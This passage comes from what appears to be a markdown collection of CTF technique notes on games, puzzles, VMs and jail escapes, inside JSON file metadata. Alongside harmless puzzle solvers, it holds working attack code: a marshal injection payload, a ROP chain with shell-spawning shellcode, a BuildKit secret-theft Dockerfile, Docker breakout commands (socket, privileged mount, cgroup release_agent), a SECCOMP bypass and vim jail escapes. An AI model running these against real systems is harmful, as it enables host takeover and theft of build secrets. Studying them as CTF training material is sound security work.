Strategy (Sharif CTF 2016)](#100-prisoners-problem--cycle-following-strategy-sharif-ctf-2016)\n- [C Code Jail Escape via Emoji Identifiers and Gadget Embedding (Midnight Flag 2026)](#c-code-jail-escape-via-emoji-identifiers-and-gadget-embedding-midnight-flag-2026)\n - [Step 1: Integer construction from emoji](#step-1-integer-construction-from-emoji)\n - [Step 2: Embed gadgets via add eax constant encoding](#step-2-embed-gadgets-via-add-eax-constant-encoding)\n - [Step 3: Stack-based ROP via push rsp; pop rsi; syscall](#step-3-stack-based-rop-via-push-rsp-pop-rsi-syscall)\n - [Step 4: ROP chain to mprotect + read + shellcode](#step-4-rop-chain-to-mprotect--read--shellcode)\n - [Step 5: Shellcode with glob for unknown flag path](#step-5-shellcode-with-glob-for-unknown-flag-path)\n- [BuildKit Daemon Exploitation for Build Secrets (BSidesSF 2026)](#buildkit-daemon-exploitation-for-build-secrets-bsidessf-2026)\n- [Docker Container Escape Techniques](#docker-container-escape-techniques)\n - [Privileged Container Breakout](#privileged-container-breakout)\n - [Docker Socket Escape](#docker-socket-escape)\n - [Capability-Based Escape (CAP_SYS_ADMIN)](#capability-based-escape-cap_sys_admin)\n - [Container Information Leakage](#container-information-leakage)\n- [15-Puzzle Solvability as Bit Encoder (SharifCTF 8)](#15-puzzle-solvability-as-bit-encoder-sharifctf-8)\n- [Levenshtein Distance Oracle Attack (SunshineCTF 2016)](#levenshtein-distance-oracle-attack-sunshinectf-2016)\n- [SECCOMP Bypass via High-Bit File Descriptor Trick (33C3 CTF 2016)](#seccomp-bypass-via-high-bit-file-descriptor-trick-33c3-ctf-2016)\n- [rvim Jail Escape via Custom vimrc with Python3 Execution (BKP 2017)](#rvim-jail-escape-via-custom-vimrc-with-python3-execution-bkp-2017)\n- [Restricted vim Escape via CTRL-W F and netrw File Browser (TokyoWesterns 2018)](#restricted-vim-escape-via-ctrl-w-f-and-netrw-file-browser-tokyowesterns-2018)\n- [Taint Analysis Bypass in Custom Language via Type Coercion (PlaidCTF 2018)](#taint-analysis-bypass-in-custom-language-via-type-coercion-plaidctf-2018)\n- [Shredded Document Pixel-Edge Reassembly Under Time Pressure (Nuit du Hack CTF 2018)](#shredded-document-pixel-edge-reassembly-under-time-pressure-nuit-du-hack-ctf-2018)\n- [References](#references)\n\n---\n\n## memfd_create Packed Binaries\n\n```python\nfrom Crypto.Cipher import ARC4\ncipher = ARC4.new(b\"key\")\ndecrypted = cipher.decrypt(encrypted_data)\nopen(\"dumped\", \"wb\").write(decrypted)\n```\n\n**Key insight:** Binaries using `memfd_create` execute payloads entirely in memory, leaving no file on disk. Intercept the decrypted payload before `fexecve` by hooking `memfd_create` or dumping `/proc/pid/fd/` entries, then analyze the dumped binary normally.\n\n---\n\n## Multi-Phase Interactive Crypto Game (EHAX 2026)\n\n**Pattern (The Architect's Gambit):** Server presents a multi-phase challenge combining cryptography, game theory, and commitment-reveal protocols.\n\n**Phase structure:**\n1. **Phase 1 (AES-ECB decryption):** Decrypt pile values with provided key. Determine winner from game state.\n2. **Phase 2 (AES-CBC with derived keys):** Keys derived via SHA-256 chain from Phase 1 results. Decrypt to get game parameters.\n3. **Phase 3 (Interactive gameplay):** Play optimal moves in a combinatorial game, bound by commitment-reveal protocol.\n\n**Commitment-reveal (HMAC binding):**\n```python\nimport hmac, hashlib\n\ndef compute_binding_token(session_nonce, answer):\n \"\"\"Server verifies your answer commitment before revealing result.\"\"\"\n message = f\"answer:{answer}\".encode()\n return hmac.new(session_nonce, message, hashlib.sha256).hexdigest()\n\n# Flow: send token first, then server reveals state, then send answer\n# Server checks: HMAC(nonce, answer) == your_token\n# Prevents changing your answer after seeing the state\n```\n\n**GF(2^8) arithmetic for game drain calculations:**\n```python\n# Galois Field GF(256) used in some game mechanics (Nim variants)\n# Nim-value XOR determines winning/losing positions\n\ndef gf256_mul(a, b, poly=0x11b):\n \"\"\"Multiply in GF(2^8) with irreducible polynomial.\"\"\"\n result = 0\n while b:\n if b & 1:\n result ^= a\n a \u003c\u003c= 1\n if a & 0x100:\n a ^= poly\n b >>= 1\n return result\n\n# Nim game with GF(256) move rules:\n# Position is losing if Nim-value (XOR of pile Grundy values) is 0\n# Optimal move: find pile where removing stones makes XOR sum = 0\n```\n\n**Game tree memoization (C++ for performance):**\n```python\n# Python too slow for large state spaces — use C++ with memoization\n# State compression: encode all pile sizes into single integer\n# Cache: unordered_map\u003cstate_t, bool> for win/loss determination\n\n# Python fallback for small games:\nfrom functools import lru_cache\n\n@lru_cache(maxsize=None)\ndef is_winning(state):\n \"\"\"Returns True if current player can force a win.\"\"\"\n state = tuple(sorted(state)) # Normalize for caching\n for move in generate_moves(state):\n next_state = apply_move(state, move)\n if not is_winning(next_state):\n return True # Found a move that puts opponent in losing position\n return False # All moves lead to opponent winning\n```\n\n**Key insights:**\n- Multi-phase challenges require solving each phase sequentially — each phase's output feeds the next\n- HMAC commitment-reveal prevents guessing; you must compute the correct answer\n- GF(256) Nim variants require Sprague-Grundy theory, not brute force\n- When Python recursion is too slow (>10s), rewrite game solver in C++ with state compression and memoization\n\n---\n\n## Emulator ROM-Switching State Preservation (BSidesSF 2026)\n\n**Pattern (wromwarp):** In emulator debuggers, the `/load` command may replace only the ROM program while preserving CPU state (registers, RAM, program counter). By switching between ROMs at specific PC values, you can execute arbitrary instruction sequences using instructions from different programs.\n\n**Key insight:** When a new ROM is loaded via the emulator's debug interface, the CPU state (registers, RAM, PC) remains unchanged. Only the program memory (ROM) is replaced. This means:\n- If ROM A has loaded secret data into RAM at certain addresses\n- And ROM B has a `display` instruction at the same PC where ROM A's execution paused\n- Loading ROM B at that point causes the CPU to execute ROM B's instruction (display) using ROM A's data (the secret)\n\n**Exploit workflow:**\n```text\n1. Load ROM_A (contains INIT that loads secret into RAM)\n2. Step through ROM_A until secret data is in RAM\n3. Note the current PC value\n4. /load ROM_B (PC, registers, RAM all preserved)\n5. ROM_B has a \"display memory\" instruction at the current PC\n6. Step → executes ROM_B's display instruction, showing ROM_A's secret data\n```\n\n**Practical example:**\n```python\nfrom pwn import *\n\np = remote('target', port)\n\n# Load first ROM that initializes secret data\np.sendlineafter('> ', '/load rom_init.bin')\n# Step until secret is in memory (determined by analysis)\nfor _ in range(42):\n p.sendlineafter('> ', '/step')\n\n# Switch to ROM that displays memory at current PC\np.sendlineafter('> ', '/load rom_display.bin')\np.sendlineafter('> ', '/step')\n\n# Read the leaked secret\nflag = p.recvline().strip()\nprint(f\"Flag: {flag}\")\n```\n\n**When to recognize:**\n- Emulator/debugger challenge with `/load`, `/step`, `/run`, `/dump` commands\n- Multiple ROM files provided\n- One ROM initializes protected memory, another has display/output capabilities\n- Challenge mentions \"ROM switching\", \"hot swap\", or \"state preservation\"\n\n**Key lessons:**\n- Emulator debug interfaces that don't reset CPU state on ROM load create a state-mixing vulnerability\n- Combine instructions from different programs by loading them at the right PC values\n- Protected memory (read-only in one ROM's context) becomes accessible via another ROM's display instructions\n\n**References:** BSidesSF 2026 \"wromwarp\"\n\n---\n\n## Python Marshal Code Injection (iCTF 2013)\n\n**Pattern:** Server deserializes base64-encoded `marshal` data and executes it as a Python function. Inject arbitrary code via serialized function code objects.\n\n```python\nimport marshal, types, base64\n\n# Craft payload function that exfiltrates data over the socket\npayload = lambda sock: sock.send(globals()['flag'].encode())\n\n# Serialize the function's code object\nserialized = base64.b64encode(marshal.dumps(payload.__code__)).decode()\n\n# Server-side execution pattern:\n# func = types.FunctionType(marshal.loads(base64.b64decode(data)), globals())\n# func(client_socket)\n```\n\n**Key insight:** `marshal.loads()` is as dangerous as `pickle.loads()` — it deserializes arbitrary Python code objects. Unlike pickle, marshal is rarely sandboxed. The injected function runs with access to the server's `globals()`, enabling flag exfiltration via the socket connection.\n\n---\n\n## Benford's Law Frequency Distribution Bypass (iCTF 2013)\n\n**Pattern:** Server validates that input digit frequency matches Benford's Law distribution (+-5% tolerance). Craft input with correct digit distribution to pass the check.\n\n```python\nimport random\n\n# Benford's Law: P(d) = log10(1 + 1/d) for leading digit d (1-9)\nbenford = {d: round(100 * (1 + 1/d) / sum(1/i for i in range(1,10))) for d in range(1,10)}\n# Approx: 1→30%, 2→18%, 3→12%, 4→10%, 5→8%, 6→7%, 7→6%, 8→5%, 9→5%\n\ndef generate_benford_compliant(length=1000):\n digits = []\n for d, pct in benford.items():\n digits.extend([str(d)] * int(length * pct / 100))\n random.shuffle(digits)\n return ''.join(digits[:length])\n```\n\n**Key insight:** Benford's Law describes the frequency of leading digits in naturally occurring datasets. If a service validates digit distribution, generate compliant input rather than random numbers. Tolerance is typically +-5%, so approximate percentages work.\n\n---\n\n## Parallel Connection Oracle Relay (Hack.lu 2015)\n\nWhen a server generates deterministic sequences and provides feedback, exploit multiple simultaneous connections to share answers:\n\n1. Open N+1 connections with identical timing (same PRNG seed)\n2. Sacrifice one connection per round to discover the correct answer\n3. Relay discovered answer to remaining connections via synchronization\n\n```python\nimport threading\n\nNUM_CONNECTIONS = 101\nbarriers = [threading.Barrier(NUM_CONNECTIONS - i) for i in range(100)]\ncorrect_answers = [None] * 100\n\ndef worker(index, sock):\n for round_num in range(100):\n barriers[round_num].wait() # Synchronize all threads\n\n if index == round_num:\n # This thread sacrifices itself to probe\n for guess in range(100):\n sock.send(str(guess).encode())\n response = sock.recv(1024)\n if b'correct' in response:\n correct_answers[round_num] = guess\n break\n else:\n # Wait for oracle thread to find answer\n barriers[round_num].wait()\n sock.send(str(correct_answers[round_num]).encode())\n\nthreads = [threading.Thread(target=worker, args=(i, connections[i])) for i in range(NUM_CONNECTIONS)]\nfor t in threads: t.start()\n```\n\n**Key insight:** Works against any service where multiple connections share state (same PRNG seed from identical connection times). The sacrifice pattern ensures at least one connection survives all rounds.\n\n---\n\n## Nonogram Solver to QR Code Pipeline (SECCON 2015)\n\nAutomate solving nonogram puzzles that produce QR codes:\n\n1. **Parse constraints** from web interface (BeautifulSoup for HTML tables)\n2. **Solve nonogram** using external solver or constraint propagation\n3. **Render to image** and decode QR\n\n```python\nfrom PIL import Image\nimport subprocess, qrtools\n\n# Parse row/column constraints from HTML\nrows = parse_constraints(html, 'rows') # [[3,1], [2,2], ...]\ncols = parse_constraints(html, 'cols')\n\n# Feed to nonogram solver (e.g., nonogram-0.9)\nsolver_input = format_for_solver(rows, cols)\nresult = subprocess.run(['./nonogram'], input=solver_input, capture_output=True)\n\n# Convert text grid to QR image\ngrid = parse_solver_output(result.stdout)\ncell_size = 10\nimg = Image.new('RGB', (len(grid[0]) * cell_size, len(grid) * cell_size), 'white')\n# Draw black cells where grid == '#'\n\n# Decode QR\nqr = qrtools.QR()\nqr.decode('qrcode.png')\nanswer = qr.data\n```\n\n**Key insight:** Nonogram solvers are available as command-line tools. The key challenge is parsing the web interface and converting output to a valid QR image. Add quiet zones (white border) around the QR for reliable decoding.\n\n---\n\n## 100 Prisoners Problem / Cycle-Following Strategy (Sharif CTF 2016)\n\nThe classic 100 prisoners problem appears in CTF challenges as an \"impossible\" probability game:\n\n- N prisoners each open N/2 boxes looking for their number\n- All must succeed for the group to win\n- Optimal strategy: follow permutation cycles (success rate ~31%)\n\n```python\ndef solve_prisoners(boxes):\n \"\"\"Follow cycle starting from own number\"\"\"\n N = len(boxes)\n results = []\n for prisoner in range(N):\n current = prisoner\n found = False\n for _ in range(N // 2):\n if boxes[current] == prisoner:\n found = True\n break\n current = boxes[current] # Follow the cycle\n results.append(found)\n return all(results)\n```\n\n**Key insight:** Random strategy succeeds with probability (1/2)^N ≈ 0. Cycle-following succeeds with probability 1 - ln(2) ≈ 0.3069 for large N. The game fails only if any cycle exceeds length N/2. Pre-check cycle lengths if the box arrangement is known.\n\n---\n\n## C Code Jail Escape via Emoji Identifiers and Gadget Embedding (Midnight Flag 2026)\n\nEscape a C code jail that bans all alphanumeric characters, whitespace, and most operators by using GCC's Unicode identifier support and embedding machine code gadgets inside arithmetic constants.\n\n**Constraints:** Only `(){}[];,=.+*%@#~` and emoji allowed. No letters, digits, whitespace, quotes, or `?&!|$\u003c>^:/-`.\n\n### Step 1: Integer construction from emoji\n\nGCC allows emoji as identifiers. `(😃==😃)` is compile-time constant `1`. Build any integer via addition and multiplication:\n\n```c\n// Building 15: 3 * (2*2 + 1)\n((😃==😃)+(😃==😃)+(😃==😃))*(((😃==😃)+(😃==😃))*((😃==😃)+(😃==😃))+(😃==😃))\n```\n\n### Step 2: Embed gadgets via add eax constant encoding\n\nAt `-O0`, `var = var + CONSTANT` compiles to `05 XX XX XX XX` (add eax, imm32). Jump to offset+1 to execute the constant bytes as instructions:\n\n| Target bytes | Instruction | Constant (decimal) |\n|---|---|---|\n| `0f 05 c3` | syscall; ret | 12780815 |\n| `58 c3` | pop rax; ret | 50008 |\n| `5f c3` | pop rdi; ret | 50015 |\n| `5a c3` | pop rdx; ret | 50010 |\n| `5e c3` | pop rsi; ret | 50014 |\n| `54 5e 0f 05` | push rsp; pop rsi; syscall | 84893268 |\n\n```c\n// Each gadget function embeds one instruction sequence:\n😇(){😼=😼+\u003c12780815_as_emoji_expr>;} // syscall; ret at 😇+15\n```\n\n### Step 3: Stack-based ROP via push rsp; pop rsi; syscall\n\nCall the `push rsp; pop rsi; syscall` gadget with `sys_read` args to write a ROP chain directly to the stack return address:\n\n```c\n// (gadget_func + 15)(stdin=0, buf=ignored_rsp_used, len=4096)\n😀(){(😃+\u003c15_expr>)(😷,😸,\u003c4096_expr>);}\n```\n\nThe `push rsp` captures the return address location, `pop rsi` sets it as the read buffer, then `syscall` reads attacker input onto the stack.\n\n### Step 4: ROP chain to mprotect + read + shellcode\n\n```python\nfrom pwn import *\n\nrop = flat([\n 0xdeadbeef, # consumed by pop rbp\n POP_RAX, 10, # sys_mprotect\n POP_RDI, 0x404000,\n POP_RSI, 0x2000,\n POP_RDX, 7, # PROT_READ|WRITE|EXEC\n SYSCALL_RET,\n POP_RAX, 0, # sys_read\n POP_RDI, 0, # stdin\n POP_RSI, 0x404020,\n POP_RDX, 0x200,\n SYSCALL_RET,\n 0x404020, # jump to shellcode\n])\n```\n\n### Step 5: Shellcode with glob for unknown flag path\n\n```python\n# execve(\"/bin/sh\", [\"/bin/sh\", \"-c\", \"cat /flag*\"], NULL)\nshellcode = asm(shellcraft.execve(\"/bin/sh\", [\"/bin/sh\", \"-c\", \"cat /flag*\"]))\n```\n\n**Key insight:** GCC's `-static -nostartfiles -nostdlib` produces a minimal binary with deterministic addresses (no ASLR). Each emoji function lands at a predictable address (0x401000, 0x40101c, ...). The `add eax, imm32` encoding is the key primitive — any 4-byte gadget sequence can be embedded as an arithmetic constant in a valid C expression.\n\n**Compilation flags to watch for:** `-nostartfiles -nostdlib -static` indicates no libc, no CRT, deterministic layout — ideal for address-hardcoded exploits.\n\n---\n\n## BuildKit Daemon Exploitation for Build Secrets (BSidesSF 2026)\n\n**Pattern (builds-as-a-service):** Challenge accepts a Dockerfile and builds it. The build environment uses Docker BuildKit with `--mount=type=secret,id=flag` to inject secrets during build. An exposed BuildKit daemon (tcp://127.0.0.1:1234) allows submitting nested build requests that mount and read the secret.\n\n**Attack (two-stage Dockerfile):**\n\nStage 1 — Submit a Dockerfile that installs `buildctl` and triggers a nested build:\n```dockerfile\nFROM moby/buildkit:v0.17.1-rootless\nCOPY Dockerfile.exploit /tmp/Dockerfile\nRUN \u003c\u003c'EOF'\nbuildctl --addr tcp://127.0.0.1:1234 build \\\n --frontend dockerfile.v0 \\\n --local context=/tmp --local dockerfile=/tmp \\\n --opt filename=Dockerfile.exploit \\\n --progress plain 2>&1; false\nEOF\n```\n\nStage 2 — The nested Dockerfile (`Dockerfile.exploit`) mounts and reads the secret:\n```dockerfile\nFROM alpine\nRUN --mount=type=secret,id=flag cat /run/secrets/flag; false\n```\n\n**Why `; false`:** Forces a non-zero exit code which causes BuildKit to dump the full build output (including the flag) to stderr. Without it, successful builds may suppress intermediate output.\n\n**Key insight:** BuildKit's gRPC API on localhost is unauthenticated by default. Any container running in the same network namespace can submit build requests. The `--mount=type=secret` mechanism is designed for build-time secrets but relies on the daemon being inaccessible — if the daemon is exposed, any build can request any secret.\n\n**Alternative approach:** If `buildctl` is unavailable, use the BuildKit gRPC API directly:\n```python\n# buildctl du / buildctl debug workers — enumerate available workers\n# buildctl build --progress=plain — trace build output\n```\n\n**When to recognize:** Challenge provides a Dockerfile upload/build service. Look for BuildKit features (`--mount=type=secret`, `BUILDKIT_INLINE_CACHE`, `# syntax=` directives). Check if the build daemon is accessible from within built containers.\n\n**Real-world relevance:** This mirrors actual CI/CD supply chain attacks where build systems expose secrets to untrusted build steps. GitHub Actions, GitLab CI, and Jenkins all have similar secret injection mechanisms.\n\n**References:** BSidesSF 2026 \"builds-as-a-service\"\n\n---\n\n## Docker Container Escape Techniques\n\n### Privileged Container Breakout\n\nContainers started with `--privileged` have all Linux capabilities and access to host devices. Mount the host filesystem and chroot:\n\n```bash\n# List host disks\nfdisk -l\n# Mount host root filesystem\nmkdir /mnt/host && mount /dev/sda1 /mnt/host\n# Chroot to host\nchroot /mnt/host /bin/bash\n# Or via nsenter (requires PID 1 on host)\nnsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash\n```\n\n### Docker Socket Escape\n\nIf `/var/run/docker.sock` is mounted inside the container, create a new privileged container that mounts the host root:\n\n```bash\n# Check for socket\nls -la /var/run/docker.sock\n# Escape: create privileged container with host root mounted\ndocker run -v /:/mnt/host --rm -it alpine chroot /mnt/host /bin/bash\n# Or via API if docker CLI unavailable:\ncurl -s --unix-socket /var/run/docker.sock \\\n -X POST \"http://localhost/containers/create\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"Image\":\"alpine\",\"Cmd\":[\"/bin/sh\"],\"Binds\":[\"/:/mnt\"],\"Privileged\":true}'\n```\n\n### Capability-Based Escape (CAP_SYS_ADMIN)\n\nWith `CAP_SYS_ADMIN`, exploit cgroup release_agent for host command execution:\n\n```bash\n# Create cgroup, set release_agent to host command\nmkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp\nmkdir /tmp/cgrp/x\necho 1 > /tmp/cgrp/x/notify_on_release\nhost_path=$(sed -n 's/.*upperdir=\\([^,]*\\).*/\\1/p' /etc/mtab)\necho \"$host_path/cmd\" > /tmp/cgrp/release_agent\necho '#!/bin/sh' > /cmd && echo 'cat /flag > /tmp/cgrp/x/flag' >> /cmd && chmod +x /cmd\necho $ > /tmp/cgrp/x/cgroup.procs # Trigger release_agent\n```\n\n### Container Information Leakage\n\nEven without escape, containers leak host info:\n- `/proc/self/cgroup` -- container ID\n- `/proc/mounts` -- overlayfs `upperdir` reveals host path\n- `/sys/kernel/slab/*/cgroup/` -- other container IDs (cgroup debug info)\n- `/proc/1/environ` -- environment variables from container start\n\n**Key insight:** Check `--privileged` flag, mounted sockets (`docker.sock`), and capabilities (`capsh --print`) first. Privileged = instant escape. Socket = create new privileged container. CAP_SYS_ADMIN = cgroup release_agent. Without any of these, focus on information leakage and application-level escapes.\n\n---\n\n## 15-Puzzle Solvability as Bit Encoder (SharifCTF 8)\n\n128 15-puzzles encode 128 bits of a flag. Each bit is 1 if the puzzle is solvable, 0 if not:\n\n```python\ndef is_solvable(grid):\n # Count inversions (pairs where a > b and a appears before b)\n flat = [x for row in grid for x in row if x != 0]\n inversions = sum(1 for i in range(len(flat))\n for j in range(i+1, len(flat)) if flat[i] > flat[j])\n # For 4x4: solvable iff inversions + blank_row_from_bottom is even\n blank_row = next(i for i, row in enumerate(grid) if 0 in row)\n blank_from_bottom = len(grid) - 1 - blank_row\n return (inversions + blank_from_bottom) % 2 == 0\n\nflag_bits = ''.join('1' if is_solvable(puzzle) else '0' for puzzle in puzzles)\nflag = bytes(int(flag_bits[i:i+8], 2) for i in range(0, len(flag_bits), 8))\n```\n\n**Key insight:** The 15-puzzle has an invariant: exactly half of all permutations are solvable. A puzzle's solvability depends on the parity of inversions plus the blank tile's row from the bottom. This provides a natural 1-bit encoding per puzzle. When a challenge provides many puzzle instances with no obvious goal, check if solvability encodes binary data. The number of puzzles matching a multiple of 8 strongly suggests bit encoding.\n\n---\n\n## Taint Analysis Bypass in Custom Language via Type Coercion (PlaidCTF 2018)\n\n**Pattern:** In a custom ML-like language with a secrecy/taint system, the if-expression's secrecy depends on the return type, not the condition. Wrap side-effecting code in a function, coerce it to a private type, and use if-statement to select between dummy and leaking functions based on private flag bits. The purity checker doesn't analyze function internals.\n\n```ml\n(* pupper variant: if condition's secrecy doesn't propagate to return *)\nlet leaked = ref 0 in\nlet test = fn (bit : int) =>\n if !secret \u003c bit then ()\n else (secret := !secret - bit; leaked := !leaked + bit)\nin\ntest 128; test 64; test 32; test 16; test 8; test 4; test 2; test 1;\n!leaked (* public int that reveals private byte *)\n\n(* doggo variant: function coercion hides side effects *)\nlet ignore = (fn (bit : int) => () :> private unit) :> private (int -> private unit) in\nlet incr = (fn (bit : int) => (leaked := !leaked + bit) :> private unit)\n :> private (int -> private unit) in\n(if !secret \u003c bit then ignore else incr) bit\n(* if returns private function type, but selected function modifies public ref *)\n```\n\n**Key insight:** Information flow type systems often check secrecy labels at expression level, not data flow level. If the return type matches but the side effects differ, the type checker is satisfied while private data leaks through public mutable references. Two common bypasses: (1) if-condition secrecy not propagated to branches, (2) function type coercion hiding mutable side effects.\n\n---\n\n## Shredded Document Pixel-Edge Reassembly Under Time Pressure (Nuit du Hack CTF 2018)\n\n**Pattern:** 100 shredded paper strips must be reassembled under 10-second time limit. Detect orientation via token position, compute edge similarity using pixel darkness bitmasks, greedily place strips by minimizing XOR/Hamming distance between adjacent edges, then OCR.\n\n```python\nfrom PIL import Image\nimport pytesseract\n\nclass Strip:\n def __init__(self, img):\n self.img = img\n w, h = img.size\n self.trace_first = 0 # left edge bitmask\n self.trace_last = 0 # right edge bitmask\n for y in range(h):\n # Dark pixel (sum \u003c 765) = bit set at position y\n self.trace_first |= (1 if sum(img.getpixel((0, y))) \u003c 765 else 0) \u003c\u003c y\n self.trace_last |= (1 if sum(img.getpixel((w-1, y))) \u003c 765 else 0) \u003c\u003c y\n\ndef edge_distance(strip_a, strip_b):\n \"\"\"Hamming distance between right edge of A and left edge of B\"\"\"\n return bin(strip_a.trace_last ^ strip_b.trace_first).count('1')\n\n# Greedy placement: for each position, pick the strip with minimum edge distance\n```\n\n**Key insight:** Shredded document strips share edge pixels at cut boundaries. Encode each strip's left and right edge as binary bitmasks (dark=1, light=0), then use XOR + popcount (Hamming distance) to find the best-matching adjacent strips. Greedy placement with edge distance metric reassembles the document in milliseconds.\n\n---\n\n## References\n- EHAX 2026 \"The Architect's Gambit\": Multi-phase AES + HMAC + GF(256) Nim\n- BSidesSF 2026 \"wromwarp\": Emulator ROM-switching state preservation\n- iCTF 2013: Python marshal code injection, Benford's Law bypass\n- Hack.lu 2015: Parallel connection oracle relay\n- SECCON 2015: Nonogram solver to QR code pipeline\n- Sharif CTF 2016: 100 prisoners problem / cycle-following strategy\n- SharifCTF 8: 15-puzzle solvability as bit encoder\n- Midnight Flag 2026: C code jail escape via emoji identifiers\n- BSidesSF 2026 \"builds-as-a-service\": BuildKit daemon build secret exploitation\n- SunshineCTF 2016: Levenshtein distance oracle attack\n- PlaidCTF 2018: Taint analysis bypass via type coercion in custom language\n- Nuit du Hack CTF 2018: Shredded document pixel-edge reassembly\n\n---\n\n## Levenshtein Distance Oracle Attack (SunshineCTF 2016)\n\nOracle responds with edit distance between guess and secret. Attack strategy:\n\n1. **Determine length:** Submit empty string, distance = secret length\n2. **Identify present characters:** Submit single repeated character (e.g., \"aaaa...\"), distance = len - count_of_that_char\n3. **Locate positions:** Binary search -- fill half positions with known-present char, half with known-absent, narrow by distance change\n\n```python\n# Determine which chars are present\nfor c in string.printable:\n d = oracle(c * length)\n count = length - d # Number of times c appears\n if count > 0:\n chars[c] = count\n```\n\n**Key insight:** Edit distance as a side channel. Binary search locates character positions from Levenshtein feedback in O(n log n) queries.\n\n---\n\n## SECCOMP Bypass via High-Bit File Descriptor Trick (33C3 CTF 2016)\n\n**Pattern (tea):** SECCOMP filter blocks `close(fd)` for fd values 0, 1, and 2 (stdin/stdout/stderr). Bypass: `close(0x8000000000000002)` passes the 64-bit comparison (not equal to 2) but the kernel truncates the fd argument to 32 bits, actually closing fd 2. This frees fd 2, so the next `open()` returns fd 2. Now `write(2, ...)` writes to the newly opened file instead of stderr, and SECCOMP allows it because fd 2 was never explicitly blocked for write.\n\n```c\n// SECCOMP rule: deny close(fd) where fd == 0 || fd == 1 || fd == 2\n// Bypass: close with high-bit set\nclose(0x8000000000000002); // SECCOMP sees fd != 2 (64-bit compare) -> ALLOW\n// Kernel: fd = (int)(0x8000000000000002) = 2 -> closes fd 2\n\nopen(\"/proc/self/mem\", O_WRONLY); // returns fd 2 (lowest available)\n// Now write to /proc/self/mem via fd 2 to modify parent process memory\n```\n\n**Key insight:** SECCOMP BPF operates on the raw 64-bit syscall argument, but the kernel's `close()` implementation casts to `int` (32-bit). Setting bit 63 changes the 64-bit value while preserving the 32-bit truncated result. This type/width mismatch between SECCOMP filter and kernel syscall handler is a general bypass pattern — check argument widths for any filtered syscall.\n\n---\n\n## rvim Jail Escape via Custom vimrc with Python3 Execution (BKP 2017)\n\n**Pattern (vimjail):** `rvim` (restricted vim) blocks `:!`, `:shell`, and similar command execution. However, `rvim -u custom_vimrc` loads a user-specified vimrc file that executes before restrictions are fully applied. If `rvim` is run via `sudo -u targetuser`, the vimrc can contain `:python3 import os; os.system(\"cmd\")` to execute commands as the target user.\n\n```bash\n# Create malicious vimrc\ncat > /tmp/evil_vimrc \u003c\u003c 'EOF'\n:python3 import os; os.system(\"/home/ctfuser/flagReader /.flag\")\n:q!\nEOF\n\n# Launch rvim with custom vimrc as target user\nsudo -u secretuser rvim -u /tmp/evil_vimrc /dev/null\n\n# Alternative: interactive escape once inside rvim\n:py3 import os; os.system(\"/bin/bash\")\n```\n\n**Key insight:** `rvim` restricts shell commands (`:!cmd`) but Python/Lua/Ruby interfaces remain available. The `:python3` or `:py3` command executes arbitrary Python code, including `os.system()`. If vim was compiled with `+python3`, this bypasses all shell restrictions. Check `:version` for `+python3`, `+lua`, or `+ruby` — any scripting interface escapes the jail.\n\n---\n\n## Restricted vim Escape via CTRL-W F and netrw File Browser (TokyoWesterns 2018)\n\n**Pattern:** A vim jail blocks `:`, `Q`, `g`, and scripting interfaces (`:py`, `:lua`, `:ruby`), but leaves normal-mode navigation commands alive. Press `CTRL-W` followed by `F` (capital) — vim splits a new window and opens the netrw file browser on the path under the cursor. From netrw you navigate like a directory listing and read arbitrary files with zero `:` commands.\n\n```text\n# Keystrokes (no ex commands required)\n: — blocked\nCTRL-W F — splits window, opens current path as netrw buffer\nj / k — navigate entries\nEnter — read selected file into a new buffer\n\n# If you need to run a command and `:` is banned, put the cursor on a keyword\n# such as `ls` and press K — vim opens the man page, then inside the man page\n# you can press `!` and get a shell prompt.\n```\n\n**Key insight:** vim's restricted mode only covers `:`-based ex commands; normal-mode file-browser (`netrw`), manual-page lookup (`K`), and help (`\u003cC-w>gF`) interfaces stay wide open. Any binary that enforces \"restricted vim\" via `:set modifiable`, disabled `:!`, or a blocked command-line is trivially bypassed by one of CTRL-W F, K, or gF. When auditing a vim sandbox, always test these three normal-mode primitives first.\n\n**References:** TokyoWesterns CTF 4th 2018 — vimshell, writeup 11269\n\n---\n\nSee [games-and-vms-4.md](games-and-vms-4.md) for 2018-era additions (XSLT VM, JS edge cases, timing oracles, OEIS, QR reassembly, math recurrences, CAPTCHA solvers, esolang polyglots, bytebeat).\n\n\nSee also: [games-and-vms.md](games-and-vms.md) for WASM patching, Roblox place file reversing, PyInstaller extraction, marshal analysis, Python env RCE, Z3 constraint solving, K8s RBAC bypass, floating-point precision exploitation, and custom assembly language sandbox escape.\n\nSee also: [games-and-vms-2.md](games-and-vms-2.md) for cookie checkpoint brute-forcing, Flask cookie game state leakage, WebSocket game manipulation, server time-only validation bypass, De Bruijn sequences, Brainfuck instrumentation, and WASM memory manipulation.\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":32416,"content_sha256":"399b8ea917f7bb0616f768689b11d8cea03de201e956ed2a6479cb72b0d67d7b"},{"filename":"games-and-vms-4.md","content":"# CTF Misc - Games, VMs & Constraint Solving (Part 4)\n\nAdditional CTF-era challenges extracted from 2018+ writeups. For earlier parts, see [games-and-vms.md](games-and-vms.md), [games-and-vms-2.md](games-and-vms-2.md), and [games-and-vms-3.md](games-and-vms-3.md).\n\n## Table of Contents\n- [XSLT as Turing-Complete VM for Binary Search (35C3 2018)](#xslt-as-turing-complete-vm-for-binary-search-35c3-2018)\n- [JavaScript MAX_SAFE_INTEGER Successor Equality (35C3 2018)](#javascript-max_safe_integer-successor-equality-35c3-2018)\n- [Binary Search Oracle in Comparison-Only DSL (35C3 2018)](#binary-search-oracle-in-comparison-only-dsl-35c3-2018)\n- [Blind SQLi via Script-Engine Timeout Error (35C3 2018)](#blind-sqli-via-script-engine-timeout-error-35c3-2018)\n- [OEIS Sequence Lookup Automation for Recurrence Puzzles (X-MAS CTF 2018)](#oeis-sequence-lookup-automation-for-recurrence-puzzles-x-mas-ctf-2018)\n- [QR Code Reassembly from Format-String Structural Constraints (Square CTF 2018)](#qr-code-reassembly-from-format-string-structural-constraints-square-ctf-2018)\n- [Matrix Exponentiation for Fibonacci-Like Recurrence (Pwn2Win 2018)](#matrix-exponentiation-for-fibonacci-like-recurrence-pwn2win-2018)\n- [Tribonacci Recurrence for Frog Jump Counting (FireShell 2019)](#tribonacci-recurrence-for-frog-jump-counting-fireshell-2019)\n- [Selenium + Tesseract for Dynamic Font CAPTCHA (Square CTF 2018)](#selenium--tesseract-for-dynamic-font-captcha-square-ctf-2018)\n- [Brainfuck Decodes 